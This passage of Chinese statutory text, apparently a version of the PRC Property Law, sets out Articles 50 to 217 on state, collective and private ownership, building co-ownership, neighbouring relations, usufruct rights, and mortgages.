第五十条 国家维护公有制为主体、多种所有制经济共同发展的基本经济制度。 \n 第五十一条 矿藏、水流、海域和城市的土地等属于国家所有。 \n 第五十二条 森林、山岭、草原、荒地、滩涂等自然资源，属于国家所有，但法律规定属于集体所有的除外。 \n 第五十三条 农村和城市郊区的土地、野生动植物资源等，法律规定国家所有的，属于国家所有。 \n 第五十四条 矿藏、水流、海域和国家所有的土地、草原等自然资源，由国务院代表国家行使所有权。 \n 第五十五条 道路、电力、通讯、天然气等公共设施，依照法律规定为国家所有的，属于国家所有。 \n 第五十六条 国家机关对其直接支配的不动产或者动产，享有占有、使用以及依照法律和国务院的有关规定处分的权利。 \n 第五十七条 国家举办的事业单位对其直接支配的不动产或者动产，享有占有、使用以及依照法律和国务院的有关规定收益、处分的权利。 \n 第五十八条 国家投资设立的企业，由中央人民政府和地方人民政府依照法律、行政法规规定分别代表国家履行出资人职责，享有所有者权益。 \n 第五十九条 集体所有的不动产和动产包括： \n （一）法律规定属于集体所有的土地和森林、山岭、草原、荒地、滩涂； \n （二）集体所有的建筑物、生产设施、农田水利设施； \n （三）集体所有的教育、科学、文化、卫生、体育等设施； \n （四）集体所有的其他不动产和动产。 \n 第六十条 城镇集体所有的不动产和动产，属于劳动群众集体所有。 \n 第六十一条 农民集体所有的不动产和动产，属于本集体的成员集体所有。 \n 下列事项应当依法经本集体村民会议讨论决定： \n （一）土地承包方案以及将土地发包给本集体以外的单位或者个人承包； \n （二）个别农户之间承包地的调整； \n （三）土地补偿费等费用的使用、分配办法； \n （四）集体企业的所有权变动等事项； \n （五）法律规定的其他事项。 \n 第六十二条 集体所有的土地和森林、山岭、草原、荒地、滩涂，依照下列规定行使所有权： \n （一）属于村农民集体所有的，由村集体经济组织或者村民委员会代表集体行使所有权； \n （二）分别属于村内两个以上农民集体所有的，由村内各集体经济组织或者村民小组代表集体行使所有权； \n （三）属于乡（镇）农民集体所有的，由乡（镇）集体经济组织代表集体行使所有权。 \n 第六十三条 农民集体所有的土地等，应当依法实行家庭承包经营。 \n 第六十四条 集体经济组织或者村民委员会的管理人作出的决定侵害集体成员合法权益的，该集体成员可以请求人民法院予以撤销。 \n 村民会议通过的决定侵害集体成员合法权益的，该集体成员可以请求人民法院予以撤销。 \n 第六十五条 集体经济组织或者村民委员会应当依照法律、行政法规、章程、村规民约向本集体的成员定期公布集体财产的状况。 \n 第六十六条 私人对依法取得的房屋、收入、生活用品等生活资料享有所有权。 \n 私人对依法取得的生产工具、原材料等生产资料享有所有权。 \n 第六十七条 国家保护私人储蓄、投资及其收益。 \n 国家保护私人的财产继承权及其他合法权益。 \n 第六十八条 国家保护私人的所有权。禁止以拆迁、征收等名义非法改变私人财产的权属关系。 \n 拆迁、征收私人的不动产，应当按照国家规定给予补偿；没有国家规定的，应当给予合理补偿，并保证被拆迁人、被征收人得到妥善安置。 \n 违法拆迁、征收，造成私人财产损失的，应当依法承担民事责任和行政责任；构成犯罪的，依法追究刑事责任。 \n 第六十九条 国家、集体和私人依法可以设立合资经营企业、合作经营企业，也可以设立独资企业。国家、集体和私人所有的不动产或者动产，投到企业的，由出资人按照出资比例享有资产收益、重大决策以及选择经营管理者等权利。 \n 第七十条 企业法人对其不动产和动产依照法律或者章程享有占有、使用、收益和处分的权利。公司制企业，适用《中华人民共和国公司法》的有关规定。 \n 企业法人以外的法人，其不动产或者动产的归属，依照法律或者章程的规定。 \n 第七十一条 违反国家规定，以无偿或者以低价折股、低价出售等手段将国有财产、集体财产转让，造成国有财产、集体财产流失的，应当依法承担民事责任和行政责任；构成犯罪的，依法追究刑事责任。 \n 第七十二条 国有企业、集体企业直接负责的主管人员严重不负责任，造成国有企业、集体企业破产或者严重亏损的，应当依法承担民事责任和行政责任；构成犯罪的，依法追究刑事责任。 \n \n 第六章 业主的建筑物区分所有权 \n \n 第七十三条 业主对建筑物内的住宅、商业用房等专有部分享有所有权，对专有部分以外的共有部分享有共有和共同管理的权利。 \n 第七十四条 业主对其建筑物专有部分享有占有、使用、收益和处分的权利，但不得危及建筑物的安全，不得损害其他业主的合法权益。 \n 第七十五条 业主转让其建筑物专有部分所有权的，其对建筑物共有部分享有的共有和共同管理的权利视为一并转让。 \n 第七十六条 建筑区划内的绿地、道路以及物业管理用房，属于业主共有，但属于市政建设的除外。 \n 会所、车库的归属，有约定的，按照约定；没有约定或者约定不明确的，除建设单位等能够证明其享有所有权外，属于业主共有。 \n 第七十七条 业主可以设立业主会议，选举业主委员会。 \n 县级以上地方人民政府有关部门应当对设立业主会议或者选举业主委员会，给予指导和协助。 \n 第七十八条 下列事项由业主依法共同决定： \n （一）制定和修改业主会议议事规则； \n （二）制定和修改建筑物及其附属设施的管理规约； \n （三）选举和更换业主委员会； \n （四）选聘和解聘物业管理机构或者其他管理人； \n （五）筹集和使用建筑物及其附属设施的维修基金； \n （六）修缮、改建、重建建筑物及其附属设施； \n （七）有关共有和共同管理权利的其他重大事项。 \n 决定前款事项，应当经专有部分占建筑物总面积二分之一以上的业主且占总人数二分之一以上的业主同意。法律另有规定的，依照其规定。 \n 第七十九条 业主决定本法第七十八条第一款第五项和第六项规定的事项，应当经专有部分占建筑物总面积三分之二以上的业主且占总人数三分之二以上的业主同意。 \n 第八十条 将住宅改变为餐饮、娱乐等商业用房的，应当经有利害关系的全体业主同意。 \n 第八十一条 业主会议或者业主委员会的决定，对业主具有约束力。 \n 第八十二条 建筑物及其附属设施的维修基金，属于全体业主共有，经业主决定，可以用于电梯、水箱等共有部分的维修。维修基金的筹集、使用情况应当定期公布。 \n 第八十三条 建筑物共有部分及其附属设施的费用分摊、收益分配等事项，有约定的，按照约定；没有约定或者约定不明确的，按照业主专有部分所占比例确定。 \n 第八十四条 业主可以自行管理建筑物及其附属设施，也可以委托物业管理机构或者其他管理人管理。 \n 对建设单位聘请的物业管理机构或者其他管理人，业主有权更换。 \n 第八十五条 物业管理机构或者其他管理人根据业主的委托管理建筑区划内的建筑物及其附属设施，并接受业主的监督。 \n 第八十六条 业主应当遵守法律、法规以及业主会议制定的管理规约。 \n 业主会议和业主委员会，对任意弃置垃圾、侵占通道、排放大气污染物、施放噪声、违反规定饲养动物、违章搭建、拒付物业费等损害他人合法权益的行为，有权按照法律、法规以及管理规约，要求行为人停止侵害、消除影响、排除妨害、赔偿损失。 \n 建设规划、环境卫生、公安等行政主管部门应当依照有关法律、法规，对建筑区划内损害他人合法权益的行为予以处理。 \n 第八十七条 对侵害业主共同权益的行为，对物业管理机构等违反合同发生的争议，业主会议经三分之二以上业主同意，可以以业主会议的名义提起诉讼、申请仲裁；业主也可以以自己的名义提起诉讼、申请仲裁。 \n \n 第七章 相邻关系 \n \n 第八十八条 不动产的相邻权利人应当按照有利生产、方便生活、团结互助、公平合理的原则，正确处理相邻关系。 \n 第八十九条 法律、法规对处理相邻关系有规定的，依照其规定；法律、法规没有规定的，可以按照当地习惯。 \n 第九十条 不动产权利人应当为相邻各权利人用水、排水提供必要的便利。 \n 对自然流水的利用，应当在不动产的相邻权利人之间合理分配。对自然流水的排放，应当尊重自然流向。 \n 第九十一条 不动产权利人有权禁止他人进入其土地，但对相邻权利人因通行等必须利用该土地的，应当提供必要的便利。 \n 第九十二条 不动产权利人因建造、修缮建筑物以及铺设电线、电缆、水管、暖气和煤气等管线必须利用相邻土地、建筑物的，该土地、建筑物的权利人应当提供必要的便利。 \n 第九十三条 建造建筑物，应当遵守国家有关建筑规划的规定，不得妨碍相邻建筑物的通风、采光和日照。 \n 第九十四条 不动产权利人有权依照法律规定，禁止相邻权利人排放大气污染物、水污染物、固体废物以及施放噪声、光、磁波辐射等有害物质。 \n 第九十五条 不动产权利人挖掘土地、建造建筑物、铺设管线以及安装设备等，不得危及相邻不动产的正常使用和安全；相邻不动产权利人有权要求施工的不动产权利人提供相应的担保。 \n 第九十六条 不动产权利人因用水、排水、通行、铺设管线等利用相邻不动产的，应当尽量避免对相邻的不动产权利人造成损害；造成损害的，应当给予补偿。 \n 第九十七条 本章规定的不动产权利人，包括不动产的所有权人、用益物权人和占有人。 \n \n 第八章 共 有 \n \n 第九十八条 不动产或者动产可以由两个以上单位、个人共有。共有分为按份共有和共同共有。 \n 第九十九条 按份共有人按照其份额对共有的不动产或者动产享有占有、使用、收益和处分的权利。 \n 第一百条 共同共有人对共有的不动产或者动产共同享有占有、使用、收益和处分的权利。 \n 第一百零一条 共有人按照约定管理共有的不动产或者动产；没有约定或者约定不明确的，各共有人都有管理的权利和义务。 \n 第一百零二条 处分共有的不动产或者动产以及对共有的不动产或者动产作重大修缮的，应当经占份额三分之二以上的按份共有人或者全体共同共有人同意，但共有人之间另有约定的除外。 \n 第一百零三条 对共有物的管理费用以及其他负担，有约定的，按照约定；没有约定或者约定不明确的，按份共有人按照其份额负担，共同共有人共同负担。 \n 第一百零四条 共有人约定不得分割共有的不动产或者动产，以维持共有关系的，应当按照约定，但共有人有重大理由需要分割的，可以请求分割；没有约定或者约定不明确的，按份共有人可以随时请求分割，共同共有人在共有的基础丧失或者有重大理由需要分割时可以请求分割。因分割对其他共有人造成损害的，应当给予补偿。 \n 第一百零五条 共有人可以通过协议确定分割方式。达不成协议，共有的不动产或者动产可以分割并且不会因分割减损价值的，应当对实物予以分割；难以分割或者因分割会减损价值的，应当对拍卖、变卖等取得的价款予以分割或者折价补偿。 \n 共有人分割所得的不动产或者动产有瑕疵的，其他共有人应当分担损失。 \n 第一百零六条 按份共有人可以转让其享有的共有的不动产或者动产份额。其他共有人在同等条件下享有优先购买的权利。 \n 第一百零七条 因共有的不动产或者动产产生的债权债务，在对外关系上，共有人享有连带债权，承担连带债务，但法律另有规定或者第三人知道共有人不具有连带债权债务关系的除外；在共有人内部关系上，除共有人另有约定外，按份共有人按照其份额享有债权，承担债务；共同共有人共同享有债权，承担债务。偿还债务超过自己应当承担份额的按份共有人，有权向其他共有人追偿。 \n 第一百零八条 共有人对共有的不动产或者动产没有约定为按份共有或者共同共有，或者约定不明确的，除共有人具有家庭关系等以外，视为按份共有。 \n 第一百零九条 按份共有人对共有的不动产或者动产享有的份额，没有约定或者约定不明确的，按照其出资额确定；不能确定出资额的，视为等额享有。 \n 第一百一十条 两个以上单位、个人共同享有用益物权、担保物权的，参照本章规定。 \n \n 第九章 所有权取得的特别规定 \n \n 第一百一十一条 无处分权人将不动产或者动产转让给受让人的，所有权人有权追回，但符合下列情形的，受让人即时取得该不动产或者动产的所有权： \n （一）在受让时不知道或者不应当知道转让人无处分权； \n （二）以合理的价格有偿转让； \n （三）转让的财产依照法律规定应当登记的已经登记，不需要登记的已经交付给受让人； \n （四）转让合同有效。 \n 受让人依照前款规定取得不动产或者动产的所有权的，原所有权人有权向无处分权人请求赔偿损失。 \n 当事人善意取得其他物权的，参照前两款规定。 \n 第一百一十二条 对被盗、被抢的财物或者遗失物，所有权人等权利人有权追回。该动产通过转让被他人占有的，所有权人、遗失人等权利人有权向无处分权人请求损害赔偿，或者自知道或者应当知道该动产丧失占有之日起两年内向受让人请求返还原物，但受让人通过拍卖或者向具有经营资格的经营者购得该动产的，所有权人等权利人请求返还原物时应当支付受让人所付的费用。法律另有规定的，依照其规定。 \n 第一百一十三条 善意受让人取得动产后，该动产上的原有权利消灭，但善意受让人在受让时知道该权利的除外。 \n 第一百一十四条 拾得遗失物，应当返还权利人。拾得人应当自拾得遗失物之日起二十日内通知所有权人、遗失人等权利人领取，或者送交有关部门。 \n 第一百一十五条 有关部门收到遗失物，知道所有权人、遗失人等权利人的，应当及时通知其领取；不知道的，应当及时发布招领公告。 \n 第一百一十六条 拾得人在遗失物送交有关部门前，有关部门在遗失物被领取前，应当妥善保管遗失物。因故意或者重大过失致使遗失物毁损、灭失的，应当承担民事责任。 \n 第一百一十七条 所有权人、遗失人等权利人领取遗失物时，应当向拾得人或者有关部门支付遗失物的保管费等必要费用。所有权人、遗失人等权利人悬赏寻找遗失物的，领取遗失物时应当按照承诺向拾得人支付报酬。拾得人侵占遗失物的，无权请求遗失物的保管费等必要费用和报酬。 \n 第一百一十八条 遗失物自发布招领公告之日起半年内无人认领的，归国家所有。 \n 第一百一十九条 拾得漂流物、发现埋藏物或者隐藏物的，参照拾得遗失物的有关规定。《中华人民共和国文物保护法》等法律另有规定的，依照其规定。 \n 第一百二十条 主物转让的，从物随主物转让，但当事人另有约定的除外。 \n 第一百二十一条 天然孳息，由所有权人取得；既有所有权人又有用益物权人的，由用益物权人取得；但当事人另有约定的除外。 \n 法定孳息，当事人有约定的，按照约定取得；没有约定或者约定不明确的，按照交易习惯取得。 \n 第一百二十二条 因加工、附合、混合而产生的物的归属，有约定的，按照约定；没有约定或者约定不明确的，依照法律规定；法律没有规定的，按照充分发挥物的效用以及保护无过错的当事人的原则确定。因一方当事人的过错或者确定物的归属给另一方当事人造成损失的，应当给予赔偿。 \n \n 第三编 用益物权 \n \n 第十章 一般规定 \n \n 第一百二十三条 用益物权人在法律规定的范围内，对他人所有的不动产，享有占有、使用和收益的权利。 \n 第一百二十四条 国家所有或者国家所有由集体使用以及法律规定属于集体所有的自然资源，单位、个人依法可以占有、使用和收益。 \n 第一百二十五条 取得用益物权，法律规定须经有关行政主管部门许可的，依照其规定。 \n 第一百二十六条 国家实行自然资源有偿使用制度，但法律另有规定的除外。 \n 第一百二十七条 用益物权人行使权利，应当遵守法律有关保护和合理开发利用资源的规定，不得损害所有权人的权益。所有权人不得干涉用益物权人行使权利。 \n 第一百二十八条 因不动产被征收、征用致使用益物权消灭或者影响用益物权行使的，应当按照国家规定给予补偿；没有国家规定的，应当给予合理补偿。 \n \n 第十一章 土地承包经营权 \n \n 第一百二十九条 土地承包经营权人依法享有对其承包经营的耕地、林地、草地等占有、使用和收益的权利，有权自主从事种植业、林业、畜牧业等农业生产。 \n 第一百三十条 土地承包经营权自土地承包经营权合同生效时取得。 \n 县级以上地方人民政府应当向土地承包经营权人发放土地承包经营权证、林权证或者草原使用权证，并登记造册，确认土地承包经营权。 \n 第一百三十一条 禁止占用承包地建窑、建坟或者擅自在承包地上建房等非法行为。未经依法批准，不得将承包地用于非农建设。 \n 第一百三十二条 土地承包经营权人有权依法自主决定土地承包经营权以转包、出租、互换、转让或者其他方式流转。 \n 第一百三十三条 土地承包经营权人将土地承包经营权以转包、出租、互换、转让或者其他方式流转，当事人应当采取书面形式订立相应的合同，但流转的期限不得超过原土地承包经营权合同剩余的期限。将土地承包经营权转让的，应当经发包人同意；将土地承包经营权转包、出租、互换或者以其他方式流转的，应当报发包人备案。 \n 第一百三十四条 土地承包经营权人将土地承包经营权互换、转让，当事人要求登记的，应当向县级以上地方人民政府申请土地承包经营权变更登记；未经登记，不得对抗善意第三人。 \n 第一百三十五条 对承包期内的承包地，发包人不得收回。 \n 承包期内的土地承包经营权人全家迁入小城镇落户的，应当按照土地承包经营权人的意愿，保留其土地承包经营权或者允许其依法进行土地承包经营权流转。 \n 承包期内的土地承包经营权人全家迁入设区的市，享有城市居民社会保障待遇的，应当将承包的耕地和草地交回发包人。土地承包经营权人不交回的，发包人可以收回承包的耕地和草地。 \n 承包期内的土地承包经营权人交回承包地或者发包人依法收回承包地，土地承包经营权人对其在承包地上投入而提高土地生产能力的，有权获得合理补偿。 \n 第一百三十六条 对承包期内的承包地，发包人不得调整。 \n 因自然灾害严重毁损承包地等特殊情形，对个别农户之间承包的耕地和草地需要适当调整的，必须经本集体的村民会议三分之二以上成员或者三分之二以上村民代表的同意，并报乡（镇）人民政府和县级人民政府农牧业等行政主管部门批准。土地承包经营权合同约定不得调整的，按照约定。 \n 第一百三十七条 征收承包期内的土地的，应当对土地承包经营权人给予合理补偿。征地的补偿标准、安置办法应当告知土地承包经营权人。土地补偿费等费用的使用、分配办法，应当依法经村民会议讨论决定。任何单位和个人不得贪污、挪用、截留土地补偿费等费用。 \n 第一百三十八条 通过招标、拍卖、公开协商等方式承包荒山、荒沟、荒丘、荒滩等农村土地的，适用《中华人民共和国农村土地承包法》等法律和国务院的有关规定。 \n 第一百三十九条 国家所有的农用地实行承包经营的，参照本法的有关规定。 \n \n 第十二章 建设用地使用权 \n \n 第一百四十条 建设用地使用权人依法享有对国家所有的土地占有、使用和收益的权利，有权自主利用该土地建造并经营建筑物、构筑物及其附属设施。 \n 第一百四十一条 建设用地使用权可以在土地的地表、地上或者地下分别设立。新设立的建设用地使用权，不得损害已设立的用益物权人的权利。 \n 第一百四十二条 设立建设用地使用权，可以采取出让或者划拨等方式。 \n 商业用地应当采取拍卖、招标的方式出让。 \n 严格限制以划拨方式设立建设用地使用权。采取划拨方式的，应当遵守法律、行政法规关于土地用途的规定。 \n 第一百四十三条 国家严格限制农用地转为建设用地，控制建设用地总量，对耕地实行特殊保护。禁止违反法律规定的权限和程序出让土地。 \n 第一百四十四条 采取拍卖、招标、协议的出让方式设立建设用地使用权的，当事人应当采取书面形式订立建设用地使用权出让合同。 \n 建设用地使用权出让合同一般包括下列条款： \n （一）当事人的名称和住所； \n （二）土地位置、面积等； \n （三）建筑物、构筑物及其附属设施占用的空间； \n （四）土地用途； \n （五）使用期限； \n （六）出让金等费用及其支付方式； \n （七）解决争议的办法。 \n 第一百四十五条 建设用地使用权出让合同订立后，应当向登记机构申请建设用地使用权登记。登记机构应当向建设用地使用权人发放建设用地使用权证书。 \n 第一百四十六条 建设用地使用权人应当合理利用土地，不得改变土地用途；需要改变土地用途的，应当依法经有关行政主管部门批准。 \n 第一百四十七条 建设用地使用权人应当依照法律规定以及合同约定支付出让金等费用。 \n 第一百四十八条 建设用地使用权人建造的建筑物、构筑物及其附属设施的所有权属于建设用地使用权人，但有相反证据证明的除外。 \n 第一百四十九条 建设用地使用权人有权将建设用地使用权转让、互换、出资、赠与或者抵押，但法律另有规定的除外。 \n 第一百五十条 建设用地使用权人将建设用地使用权转让、互换、出资、赠与或者抵押的，当事人应当采取书面形式订立相应的合同。合同的期限由当事人约定，但不得超过原建设用地使用权出让合同剩余的期限。 \n 第一百五十一条 建设用地使用权人将建设用地使用权转让、互换、出资或者赠与的，应当向登记机构申请变更登记。 \n 第一百五十二条 建设用地使用权人将建设用地使用权转让、互换、出资或者赠与的，附着于该土地上的建筑物、构筑物及其附属设施一并处分。 \n 第一百五十三条 建筑物、构筑物及其附属设施的所有权人将建筑物、构筑物及其附属设施转让、互换、出资或者赠与的，建设用地使用权一并处分。 \n 第一百五十四条 建设用地使用权的期间届满，建设用地使用权消灭。 \n 第一百五十五条 建设用地使用权的期间届满，建设用地使用权人需要继续使用土地的，应当在期间届满前一年申请续期，除因公共利益需要收回该土地的外，出让人应当同意。建设用地使用权续期后，建设用地使用权人应当按照约定支付出让金；没有约定或者约定不明确的，按照国家规定确定。 \n 第一百五十六条 建设用地使用权消灭的，出让人应当及时办理注销登记。登记机构应当收回建设用地使用权证书。 \n 第一百五十七条 因设立乡(镇)、村企业或者乡村公共设施、公益事业建设等需要使用集体所有的土地的，依照有关法律规定取得建设用地使用权；法律没有规定的，参照本章规定。 \n \n 第十三章 宅基地使用权 \n \n 第一百五十八条 宅基地使用权人依法享有对集体所有的土地占有和使用的权利，有权自主利用该土地建造住房及其附属设施。 \n 第一百五十九条 取得宅基地使用权，应当依照有关法律规定办理。 \n 第一百六十条 农户占有的宅基地面积应当符合规定的标准。一户只能拥有一处宅基地。 \n 第一百六十一条 宅基地使用权人未经依法批准，不得改变宅基地用途。 \n 第一百六十二条 宅基地使用权人经本集体同意，可以将建造的住房转让给本集体内符合宅基地使用权分配条件的农户；住房转让时，宅基地使用权一并转让。禁止城镇居民在农村购置宅基地。 \n 农户依照前款规定转让宅基地使用权的，不得再申请宅基地。 \n 第一百六十三条 因乡村公共设施和公益事业建设的需要，经县级人民政府批准，本集体收回宅基地的，应当对宅基地被占用的农户重新分配宅基地；造成宅基地使用权人损失的，应当给予补偿。 \n 第一百六十四条 宅基地因自然灾害等原因灭失的，宅基地使用权消灭。对没有宅基地的农户，应当重新分配宅基地。 \n 第一百六十五条 已经登记的宅基地使用权转让或者消灭的，宅基地使用权人应当及时办理变更登记或者注销登记。 \n \n 第十四章 地役权 \n \n 第一百六十六条 地役权人有权按照合同约定，利用他人的不动产,以提高自己的不动产的效益。 \n 前款所称“他人的不动产”为“供役地”，“自己的不动产”为“需役地”。 \n 第一百六十七条 设立地役权，当事人应当采取书面形式订立地役权合同。 \n 地役权合同一般包括下列条款： \n （一）当事人的姓名或者名称和住所； \n （二）供役地和需役地的位置； \n （三）利用目的和方法； \n （四）利用期限； \n （五）费用及其支付方式； \n （六）解决争议的办法。 \n 第一百六十八条 地役权自地役权合同生效时设立。当事人要求登记的，可以向登记机构申请地役权登记；未经登记，不得对抗善意第三人。 \n 第一百六十九条 供役地的权利人应当按照合同约定，容许地役权人利用其土地，不得妨害地役权人行使权利。 \n 第一百七十条 地役权人应当按照合同约定的利用目的和方法利用供役地，尽可能减少对供役地的权利人物权的限制。 \n 第一百七十一条 地役权的期限由当事人约定，但不得超过土地承包经营权、建设用地使用权等用益物权剩余的期限。 \n 第一百七十二条 土地所有权人享有地役权或者负担地役权的，设立土地承包经营权、宅基地使用权时，该土地承包经营权人、宅基地使用权人继续享有或者负担已设立的地役权。 \n 第一百七十三条 土地上已设立土地承包经营权、建设用地使用权、宅基地使用权等权利的，未经上述用益物权人同意，土地所有权人不得设立地役权。 \n 第一百七十四条 地役权不得单独转让。土地承包经营权、建设用地使用权、宅基地使用权等依法转让的，地役权一并转让，但合同另有约定的除外。 \n 第一百七十五条 地役权不得抵押。土地承包经营权、建设用地使用权等依法抵押的，在实现抵押权时，地役权一并转让。 \n 第一百七十六条 需役地以及需役地上的土地承包经营权、建设用地使用权、宅基地使用权部分转让时，转让部分涉及地役权的，受让人同时享有地役权。 \n 第一百七十七条 供役地以及供役地上的土地承包经营权、建设用地使用权、宅基地使用权部分转让时，转让部分涉及地役权的，地役权对受让人具有约束力。 \n 第一百七十八条 地役权人有下列情形之一的，供役地的权利人有权解除地役权关系，地役权消灭： \n （一）违反法律规定或者合同约定，滥用地役权的； \n （二）有偿利用供役地，约定的付款期间届满后在合理期限内经两次催告未支付费用的。 \n 第一百七十九条 已经登记的地役权变更、转让或者消灭的，应当及时办理变更登记或者注销登记。 \n \n 第十五章 居住权 \n \n 第一百八十条 居住权人对他人享有所有权的住房及其附属设施享有占有、使用的权利。 \n 第一百八十一条 设立居住权，可以根据遗嘱或者遗赠，也可以按照合同约定。 \n 设立居住权，应当向登记机构申请居住权登记。 \n 第一百八十二条 居住权人应当合理使用住房及其附属设施。居住权人应当承担住房及其附属设施的日常维护费用和物业管理费用，可以不支付住房使用费，不承担重大维修费用，但遗嘱、遗赠另有表示或者合同另有约定的除外。 \n 第一百八十三条 居住权不得转让和继承。 \n 居住权人不得将居住的房屋出租，但遗嘱、遗赠另有表示或者合同另有约定的除外。 \n 第一百八十四条 住房所有权人应当保障居住权人对住房及其附属设施占有、使用的权利。 \n 居住权人对部分住房享有居住权的，可以使用该住房的共用部分。 \n 第一百八十五条 居住权设立后，住房所有权人变更的，不影响居住权。 \n 第一百八十六条 居住权的期限根据遗嘱、遗赠或者合同确定；无法确定的，成年居住权人的居住权期限至其死亡时止，未成年居住权人的居住权期限至其独立生活时止。 \n 第一百八十七条 居住权人有下列情形之一的，住房所有权人有权撤销居住权： \n （一）故意侵害住房所有权人及其亲属的人身权或者对其财产造成重大损害的； \n （二）危及住房安全等严重影响住房所有权人或者他人合法权益的。 \n 第一百八十八条 有下列情形之一的，居住权消灭： \n （一）居住权人放弃居住权的； \n （二）居住权期间届满的； \n （三）解除居住权关系的条件成就的； \n （四）居住权被撤销的； \n （五）住房被征收的； \n （六）住房灭失的。 \n 第一百八十九条 因住房灭失，住房所有权人获得赔偿金的，应当给予居住权人适当补偿；没有独立生活能力的居住权人，也可以放弃补偿，要求适当安置，但因居住权人故意或者重大过失致使住房灭失的除外。 \n 第一百九十条 居住权消灭的，住房所有权人应当及时办理注销登记。 \n 第一百九十一条 本章规定的居住权，不适用因婚姻家庭、租赁产生的居住关系。 \n \n 第四编 担保物权 \n \n 第十六章 一般规定 \n \n 第一百九十二条 担保物权人在债务人未履行债务时，有权就担保财产优先受偿，但法律另有规定的除外。 \n 第一百九十三条 债权人在借贷、买卖等民事活动中，为保障实现其债权，需要担保的，可以依照本法和其他法律的规定设立担保物权。 \n 第三人为债务人向债权人提供担保的，可以要求债务人提供反担保。反担保适用本法和其他法律的规定。 \n 第一百九十四条 设立担保物权，应当依照本法和其他法律的规定订立担保合同。担保合同是主债权债务合同的从合同。主债权债务合同无效，担保合同无效，但法律另有规定的除外。 \n 担保合同被确认无效后，债务人、担保人、债权人有过错的，应当根据其过错各自承担相应的民事责任。 \n 第一百九十五条 物权担保的范围包括主债权及其利息、违约金、损害赔偿金、保管担保财产和实现担保物权的费用，但合同另有约定的除外。 \n 第一百九十六条 担保期间，担保财产毁损、灭失或者被征收等，担保物权人可以就获得的保险金、赔偿金或者补偿金等优先受偿。被担保债权的履行期未届满的，也可以提存该保险金、赔偿金或者补偿金等。 \n 第一百九十七条 第三人提供担保，未经其书面同意，债权人允许债务人转让债务的，担保人不再承担担保责任。 \n 第一百九十八条 被担保的债权既有物的担保又有人的担保，债务人未履行债务的，债权人应当按照约定实现债权；没有约定或者约定不明确，债务人自己提供物的担保的，债权人应当先就该物的担保实现债权；第三人提供物的担保的，债权人可以就物的担保实现债权，也可以要求保证人承担保证责任。提供担保的第三人承担担保责任后，有权向债务人追偿。 \n 第一百九十九条 债务人未履行到期债务的，担保物权人可以依照本法和其他法律的规定实现担保物权。担保物权人在主债权诉讼时效期间届满未行使担保物权的，担保物权消灭，但担保物权人占有担保财产的，担保人可以要求担保物权人行使担保物权，担保物权人不行使的，担保人可以请求人民法院拍卖、变卖担保财产并返还超过债权数额的部分。 \n 第二百条 有下列情形之一的，担保物权消灭： \n （一）主债权消灭的； \n （二）担保物权实现的； \n （三）债权人放弃担保物权的； \n （四）法律规定担保物权消灭的其他情形。 \n \n 第十七章 抵押权 \n \n 第一节 一般抵押权 \n \n 第二百零一条 为担保债务的履行，债务人或者第三人不转移财产的占有，将该财产抵押给债权人的,债务人未履行债务时，债权人有权就该财产优先受偿。 \n 前款规定的债务人或者第三人为抵押人，债权人为抵押权人，提供担保的财产为抵押财产。 \n 第二百零二条 债务人或者第三人有权处分的下列财产可以抵押： \n （一）建筑物和其他土地附着物； \n （二）建设用地使用权； \n （三）抵押人依法承包并经发包方同意抵押的荒山、荒沟、荒丘、荒滩等荒地的土地使用权； \n （四）企业、个体工商户、农村承包经营户的机器设备、原材料、产成品等动产； \n （五）正在建造的建筑物、船舶、飞行器； \n （六）交通工具； \n （七）法律、行政法规规定可以抵押的其他财产。 \n 抵押人可以将前款所列财产一并抵押。 \n 第二百零三条 以建筑物抵押的，该建筑物占用范围内的建设用地使用权一并抵押。以建设用地使用权抵押的，该土地上的建筑物一并抵押。 \n 抵押人未依照前款规定一并抵押的，未抵押的财产视为一并抵押。 \n 第二百零四条 经当事人书面协议，企业、个体工商户、农村承包经营户可以将现有的以及将来拥有的动产抵押，债务人不履行债务时，债权人有权就约定实现抵押权时的动产优先受偿。 \n 第二百零五条 乡（镇）、村企业的土地使用权不得单独抵押。以乡（镇）、村企业的厂房等建筑物抵押的，其占用范围内的土地使用权一并抵押。 \n 第二百零六条 下列财产不得抵押： \n （一）土地所有权； \n （二）耕地、宅基地、自留地、自留山等集体所有的土地使用权，但法律规定可以抵押的除外； \n （三）学校、幼儿园、医院等以公益为目的的事业单位、社会团体的教育设施、医疗卫生设施和其他社会公益设施； \n （四）所有权、使用权不明或者有争议的财产； \n （五）依法被查封、扣押、监管的财产； \n （六）法律、行政法规规定不得抵押的其他财产。 \n 第二百零七条 设立抵押权，当事人应当采取书面形式订立抵押合同。 \n 抵押合同一般包括下列条款： \n （一）被担保债权的种类和数额； \n （二）债务人履行债务的期限； \n （三）抵押财产的名称、数量、质量、状况、所在地、所有权权属或者使用权权属； \n （四）担保的范围。 \n 抵押合同不完全具备前款规定内容的，可以补正。 \n 第二百零八条 抵押权人在债务履行期届满前，不得与抵押人约定债务人未履行债务时抵押财产转移为债权人所有。 \n 第二百零九条 以建筑物和其他土地附着物、建设用地使用权以及依法可以用于抵押的其他不动产抵押的，应当办理抵押登记，抵押权自登记时发生效力。 \n 第二百一十条 企业、个体工商户、农村承包经营户以机器设备、原材料、产成品等动产或者交通工具抵押的，抵押权自抵押合同生效时发生效力；未经登记，不得对抗善意第三人。 \n 第二百一十一条 依照本法第二百零四条规定抵押的，即使办理登记，也不得对抗正常经营活动中已支付对价并取得抵押财产的买受人。 \n 第二百一十二条 抵押合同的内容与登记簿记载的事项不一致的，以登记簿为准。 \n 第二百一十三条 订立抵押合同前抵押财产已出租的，抵押人应当将出租的事实书面告知抵押权人，原租赁关系不受该抵押权的影响。抵押权设立后抵押财产出租的，已登记的抵押权不受该租赁关系的影响。 \n 第二百一十四条 抵押期间，抵押人经抵押权人同意转让抵押财产的，应当将转让所得的价款向抵押权人提前清偿债权或者提存。转让的价款超过债权数额的部分归抵押人所有，不足部分由债务人清偿。 \n 抵押期间，抵押人未经抵押权人同意转让抵押财产的行为无效。 \n 第二百一十五条 抵押权不得与债权分离而单独转让或者作为其他债权的担保。债权转让的，担保该债权的抵押权一并转让，但法律另有规定或者当事人另有约定的除外。 \n 第二百一十六条 抵押人的行为可能使抵押财产毁损或者价值明显减少的，抵押权人有权要求抵押人停止其行为。抵押财产毁损或者价值减少的，抵押权人有权要求恢复抵押财产的价值，或者提供与毁损、减少的价值相当的担保。 \n 第二百一十七条 抵押权人可以放弃抵押权或者抵押权的顺位。抵押权人与抵押人可以协议变更抵押权顺位以及被担保的债权数额等内容，但抵押权的变更，未经其他抵押权人书面同意，不得对其产生不利影响。 \n 